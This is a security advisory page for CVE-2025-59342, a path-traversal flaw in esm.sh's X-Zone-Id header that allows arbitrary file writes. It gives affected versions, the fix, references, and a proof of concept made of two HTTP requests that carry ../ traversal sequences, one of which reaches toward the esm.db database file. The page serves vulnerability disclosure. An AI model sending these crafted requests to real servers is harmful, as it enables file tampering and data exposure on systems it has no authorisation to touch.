CVE-2025-59342: esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header
Summary A path-traversal flaw in the handling of the X-Zone-Id HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory.
Published Sep 17, 2025 · Updated Oct 29, 2026
Affected packages
github.com/esm-dev/esm.sh
- Ecosystem
- Go
- Affected
- <= 136
- Fixed in
- 136.1
- Check
go list -m github.com/esm-dev/esm.sh
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A path-traversal flaw in the handling of the X-Zone-Id HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying ../ sequences in X-Zone-Id causes files to be written to arbitrary directories (example observed: ~/.esmd/modules/transform/<id>/ instead of ~/.esmd/storage/modules/transform).
Severity: Medium
Component / Endpoint:
POST /transform — handling of X-Zone-Id header
The vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411
Impact: Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.
---
Proof of Concept (POC)
Request (attacker-supplied X-Zone-Id contains path traversal):
POST /transform HTTP/1.1
Host: localhost:8888
User-Agent: Den/8.7.1
Accept: */*
Connection: keep-alive
Referer: http://localhost:9999/
Content-Type: application/json
X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/
Content-Length: 325
{
"filename": "example2.js",
"lang": "js",
"code": "console.log('hello');",
"importMap": {
"imports": {
"react": "https://esm.sh/react",
"react-dom": "https://esm.sh/react-dom"
}
},
"jsxImportSource": "react",
"target": "es2022",
"sourceMap": "external",
"minify": true
}Observed result: file written to ~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js instead of the intended ~/.esmd/storage/modules/transform/.
This can be trigger with another path traversal request below
GET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1
Host: localhost:8888
User-Agent: localhost
Accept: */*
Connection: keep-alive
X-Zone-Id: ../
Referer: http://localhost:9999/
---
Remediation
Simply remove any .. in the X-Zone-Id header before actually process the file.
Credits
Credited to j3ssie, A11riseforme.
References
- https://github.com/esm-dev/esm.sh/security/advisories/GHSA-g2h5-cvvr-7gmw
- https://nvd.nist.gov/vuln/detail/CVE-2025-59342
- https://github.com/esm-dev/esm.sh/commit/833a29f42aeb0acbd7089a71be11dd0a292d3151
- https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116
- https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411
- https://pkg.go.dev/vuln/GO-2025-3967
- https://github.com/advisories/GHSA-g2h5-cvvr-7gmw
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-44593
esm.sh: Legacy Route Path Traversal Can Lead to RCE
high8.7May 12, 2026CVE-2026-44594
esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files
high7.5May 12, 2026CVE-2025-50180
esm.sh is vulnerable to full-response SSRF
high8.7Feb 25, 2026CVE-2026-27730
esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route
high8.6Feb 25, 2026CVE-2026-23644
esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages
high7.7No fixJan 20, 2026CVE-2025-65025
esm.sh CDN service has arbitrary file write via tarslip
high8.2Nov 19, 2025
